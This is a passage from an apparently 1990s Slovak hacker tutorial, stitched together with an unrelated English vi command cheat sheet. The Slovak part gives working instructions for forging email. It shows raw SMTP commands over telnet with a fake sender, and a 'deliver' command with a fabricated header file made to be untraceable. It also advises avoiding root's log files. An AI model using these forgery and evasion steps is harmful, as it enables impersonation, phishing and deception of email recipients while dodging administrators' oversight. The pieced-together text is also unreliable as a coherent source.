pouzit aj zobrazenie binarneho suboru - to je absolutna spica. Mozeme pisat aj na neprihlaseny terminal napriklad tty2 prikazom $ cat subor.txt > /dev/tty2 Posielanie programov na graficky terminal ineho pouzivatela sme prebrali v prirucke zacinajuceho systemoveho administratora Linuxu. =========================================================================== POSIELANIE FALOSNYCH E-MAILOV Povedzme, ze chcete poslat falosny e-mail pouzivatelovi s pouzivatelskou identifikaciou ducai na stroj neuron-ai.tuke.sk. Pripojte sa ( programom telnet ) na 25 port pocitaca neuron-ai.tuke.sk. No, nedam ruku do ohna za to, ci to nie je 26 port. V tejto chvili nemam nainstalovane siete. A nechce sa mi to skusat. Odskusajte si to sami. Aspon sa pohrate. Odteraz si stroj neuron-ai.tuke.sk mysli, ze ste pocitac. Svoj odkaz musite napisat takto: HELO italy.com MAIL FROM:cicolina@italy.com RCPT TO:ducai@neuron-ai.tuke.sk DATA Hello, Are You free tomorrow ? I'm waiting for You. Your Cici . QUIT Na posielanie e-mailov sa pouziva SMTP protokol (SendMail Transfer Protocol). Uvedene prikazy su jeho malickou podmnozinou. Program telnet pod Windows umoznuje priame napojenie sa na UNIXovy pocitac. To je vyhoda, pretoze v hlavicke nezobrazovanej programami na citanie posty elm ci pine budu pri odosielani s UNIXu aj data o skutocnom pouzivatelovi. Windows NT umoznuju prihlasit sa ako guest. Klasicke Windows moze spustit hocikto. A tak nik nema moznost identifikovat odosielatela pracujuceho pod Windows - iba stroj, odkial bola sprava poslana. =========================================================================== POSIELANIE PERFEKTNYCH FALOSNYCH E-MAILOV Copyright (C) 1996 by Milan Schmotzer :-) Vyhodou tohto postupu je, ze bezny pouzivatel s IQ < 150 nevie zistit, ze sa jedna falosny e-mail. Zial, funguje len na lokalnych strojoch. Pouzivatel po prihlaseni NEDOSTANE oznam, ze ma postu. NEFUNGUJE ani ".forward". POZOR ! Nesmiete sa pomylit, pretoze system to ulozi do .log suborov zaznamenajucich chyby ! Toto zarucene funguje, ak root nenakonfiguroval program deliver. Je potrebne odskusat poslat takyto mail sam sebe a precitat jeho hlavicku (v ELM je to prikaz h ak necitame mail, ale mame navoleny jeho nazov v ponuke), ak tam nikde nie je nase meno ci adresa, je to nezistitelne. Pozor ! Nerobit destrukcne veci - aktivity programu deliver sa mozu zapisovat do log suboru niekde v /usr/... a sikovny root na to pride ! Sikovnych rootov je malo :-). Podme na to. Napiste $ deliver -h italy.it -r Cicolina@italy.it ducai < tysubor kde subor tysubor obsahuje nasledovne: From Cicolina@italy.it Thu Aug 15 01:12:36 1996 Return-Path: Cicolina Received: (from Cicolina@italy.it) by italy.it (8.6.12/8.6.9) id AAA00901; Thu, 15 Aug 1996 00:28:14 +0100 From: Cicolina <cicolina@italy.it> Message-Id: <199608142328.AAA00901@italy.sk> Subject: I love you ! To: ducai@neuron-ai.tuke.sk, schmotze@neuron-ai.tuke.sk Date: Thu, 15 Aug 1996 00:28:14 +0100 (GMT+0100) Priority: SUPER Precedence: 7 Expires: Fri, 4 Oct 96 X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1161 Status: RO Hello, my dear ! I'm crazy to You. Your Cicolina Samozrejme takto si to nikto nezapamata, je treba poslat sam sebe obycajny mail a potom jeho hlavicku skopirovat do suboru tysubor. Tento subor jednoducho upravit napr. pomocou editora vi tak, ze vsetky vyskyty nasho loginu a mena zamenit za Cicolina a vsetky vyskyty nazvu nasho servera za italy.it. Niektore riadky su dost dlhe - nezanedbat !
i | insert text BEFORE the current cursor position |
a | add text AFTER the current cursor position |
o | open a new line AFTER the current one |
O | open a new line BEFORE the current one |
r | replace the current character with another one |
R | replace the current text with a text |
s | replace the current character with a text |
dd | delete the current line |
10dd | delete 10 lines from the current one |
d4<space> | delete 4 characters from the current one |
d4l | delete 4 letters ( characters ) from the current one |
"ad10w | delete 10 words from the current one and place them into the buffer a |
"ay7w | copy 7 words from the current one and place them into the buffer a |
"b4Y | copy 4 lines from the current one and place them into the buffer b |
"ap | place the text from the buffer a AFTER the current cursor position |
"aP | place the text from the buffer a BEFORE the current cursor position |
. | repeat the last command |
:w xyz | write to file xyz |
:r abc | read text from the file abc |
:q! | quit without saving |
:q | quit ( but not quit if there are unsaved changes ) |
:w | save current file |
:wq | write to current file and quit |
ZZ | same command as the :wq |
Try the next commands: h, j, k, l, w, b, e, H, M, L, Ctrl-f, ctrl-b, (, ), [, ], {, }